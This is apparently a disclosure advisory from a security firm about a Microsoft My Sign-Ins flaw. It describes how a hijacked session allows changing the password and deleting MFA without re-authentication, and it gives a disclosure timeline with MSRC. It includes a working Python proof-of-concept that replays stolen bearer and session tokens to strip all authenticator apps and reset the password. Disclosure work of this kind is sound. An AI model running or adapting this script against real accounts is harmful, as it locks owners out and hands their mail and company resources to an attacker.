Introduction
During an engagement Ethan McKee-Harris discovered the ability to takeover an account from an authenticated Microsoft session without knowledge of the users password. Further, this escalation path works on accounts with multi-factor authentication (MFA) enabled.
This post outlines the technical details of this vulnerability, how it could be exploited and the potential impact to users. At the time of writing, Microsoft has not released a patch for this issue or any recommended mitigation steps.
The Vulnerability
With an authenticated session, an end user is able to navigate to https://mysignins.microsoft.com
in order to view various account information and undertake actions such as changing their password. Within this flow, there exists two ways to modify a user’s password. In the image below, we demonstrate the old flow which is being phased out:
Within this flow, we can observe that the current password is required in order to change the users password. Now, if instead you click “MySecurityInfo” which is noted to be the new way to reset a password you are met with the following form:
Within this flow, we can observe that the current password is no longer required in order to change the current users password. Further to this, this action also does not prompt for MFA if enabled. Due to this, anyone with access to this page is able to simply change the users password without knowledge of the current password. Note that some accounts may prompt for the current password based on the underlying authentication state. During testing, Bastion only ever encountered this once and believes it to be an unlikely occurrence.
But wait, there’s more!
Within the “Security info” page, we can also see that all of the victim’s currently configured MFA solutions are listed with a handy “Delete” button present. This can be seen in the image below:
If we select “Delete”, the following form is presented to an attacker:
Clicking “Ok” does not prompt the attacker to enter either a password or any form of MFA.
Through the combination of these issues, any attacker with access to a valid Microsoft session will be able to remove the user from their own account and take it over.
Further, in an MFA enforced environment the removal of MFA from the account will prompt an attacker to configure their own MFA on next login. This entire flow can be seen in the video below:
Proof of Concept (PoC)
Currently the most reliable method for exploiting on an individual is manual exploitation.
As a PoC however, Bastion has also created the following script which runs in a few seconds. Currently, this script does require a manual step in order to fetch the relevant victims authentication, however an attacker that is able to automate that step would have a fast, automated means with which to takeover accounts.
import asyncio
import json
import time
import httpx
from idox import Request, Idox
"""In order to use this script do the following:
1. `pip install httpx idox`
2. Intercept a request to the 'Security Info' page with the following headers (/api/authenticationmethods/availablemethods):
- Authorization
- Sessionctx
- Sessionctxv2
- X-Ms-Mysignins-Region
3. Create a file called `request.txt` and put the intercepted request in the file
4. Modify the password at the bottom of the script if you wish to change it
5. Run this script
As this is a PoC alongside the advisory, user input is required.
"""
with open("request.txt", "r") as f:
request: Request = Idox.split_request(f.read())
X_Ms_Mysignins_Region = request.headers["X-Ms-Mysignins-Region"]
BEARER_TOKEN = request.headers["Authorization"]
SESSION_CTX = request.headers["Sessionctx"]
SESSION_CTX_V2 = request.headers["Sessionctxv2"]
async def fetch_mfa_results():
"""Fetch all enabled MFA items"""
async with httpx.AsyncClient() as client:
resp: httpx.Response = await client.get(
url="https://mysignins.microsoft.com/api/authenticationmethods/availablemethods",
headers={
"Host": "mysignins.microsoft.com",
"Content-Type": "application/json",
"Authorization": BEARER_TOKEN,
"Sessionctx": SESSION_CTX,
"Sessionctxv2": SESSION_CTX_V2,
"X-Ms-Mysignins-Region": X_Ms_Mysignins_Region,
"Ajaxrequest": "true",
"Referer": "https://mysignins.microsoft.com/security-info",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Te": "trailers",
"Connection": "keep-alive",
},
cookies=[],
)
_, results = resp.text.split(",", maxsplit=1)
return json.loads(results)
def mfa_result_to_deletion_payload(mfa_data: dict) -> list[str]:
"""Return all TOTP app's with the correct payloads to use for deletion requests.
Note this currently only deletes TOTP authentication methods.
"""
data = []
for payload in mfa_data["AuthenticatorApp"]["Data"]:
data.append(json.dumps(payload))
return data
async def delete_mfa_entry(mfa_data: str) -> None:
"""Delete a given MFA entry"""
async with httpx.AsyncClient() as client:
await client.post(
url="https://mysignins.microsoft.com/api/authenticationmethods/delete",
headers={
"Host": "mysignins.microsoft.com",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/json",
"Authorization": BEARER_TOKEN,
"Sessionctx": SESSION_CTX,
"Sessionctxv2": SESSION_CTX_V2,
"X-Ms-Mysignins-Region": X_Ms_Mysignins_Region,
"Ajaxrequest": "true",
"Origin": "https://mysignins.microsoft.com",
"Referer": "https://mysignins.microsoft.com/security-info",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Priority": "u=0",
"Te": "trailers",
"Connection": "keep-alive",
},
cookies=[],
json={"Type": 1, "Data": mfa_data},
)
async def get_password_method() -> str:
"""Fetch the method ID of the password so we can reset it"""
async with httpx.AsyncClient() as client:
resp: httpx.Response = await client.get(
url="https://api.mysignins.microsoft.com/api/password/passwordMethods",
headers={
"Host": "api.mysignins.microsoft.com",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/json",
"Authorization": BEARER_TOKEN,
"Origin": "https://mysignins.microsoft.com",
"Referer": "https://mysignins.microsoft.com/",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-site",
"Te": "trailers",
"Connection": "keep-alive",
},
cookies=[],
)
data = resp.json()
assert (
len(data["passwordMethods"]) == 1
), "This PoC is only built for one form of password method"
return data["passwordMethods"][0]["id"]
async def change_password(*, method_id, new_password):
async with httpx.AsyncClient() as client:
resp: httpx.Response = await client.post(
url="https://api.mysignins.microsoft.com/api/password/reset",
headers={
"Host": "api.mysignins.microsoft.com",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/json",
"Authorization": BEARER_TOKEN,
"Origin": "https://mysignins.microsoft.com",
"Referer": "https://mysignins.microsoft.com/",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-site",
"Priority": "u=0",
"Te": "trailers",
"Connection": "keep-alive",
},
cookies=[],
json={
"methodId": method_id,
"newPassword": new_password,
},
)
assert resp.status_code == 200, "Changing the password failed"
async def main():
start = time.time()
all_mfa = await fetch_mfa_results()
print("Fetched all current MFA methods")
mfa_data_payloads = mfa_result_to_deletion_payload(all_mfa)
for payload in mfa_data_payloads:
await delete_mfa_entry(payload)
print("Deleted all found MFA methods")
password_method_id = await get_password_method()
await change_password(
method_id=password_method_id,
new_password="<PASSWORD>",
)
print(
"Password modified to attacker provided value\n"
"This account is now entirely yours, enjoy.\n"
f"Execution time: {time.time()-start:.2f} seconds"
)
if __name__ == "__main__":
asyncio.run(main())
Potential Impact
A threat actor that is able to gain access to a valid Microsoft session would be able to takeover the account, locking the owner out in the process.
This would then allow the threat actor to conduct any action that the original user had permission to do so, such as sending emails or accessing privileged company resources.
Disclosure Timeline
- July 8th, 2024: Issue reported to the Microsoft Security Response Center (MSRC).
- July 8th, 2024: MSRC acknowledges receipt of report.
- July 9th, 2024: MSRC requests a video PoC be presented.
- July 9th, 2024: PoC provided.
- July 10th, 2024: MSRC confirms a case has been opened for this issue.
- August 9th, 2024: Update requested by Bastion.
- August 22nd, 2024: MSRC marks case as ‘Complete’ and mentions the case has been assessed as moderate severity and does not MSRC’s bar for immediate servicing.
- August 22nd, 2024: Next steps requested by Bastion.
- September 4th, 2024: MSRC requests a draft blog post and mentions that this issue is with the engineering team to prioritize as they wish.
- September 11th, 2024: Draft blog post provided by Bastion.
- September 12th, 2024: MSRC acknowledges recipient.
- September 26th, 2024: Bastion requests the reasoning behind the severity classification.
- October 3rd, 2024: MSRC acknowledges the request and mentions it has been passed to the relevant team.
- October 9th, 2024: MSRC provides the engineering teams feedback.
- October 9th, 2024: Bastion acknowledges the receipt of the information.
- October 10th, 2024: Advisory live.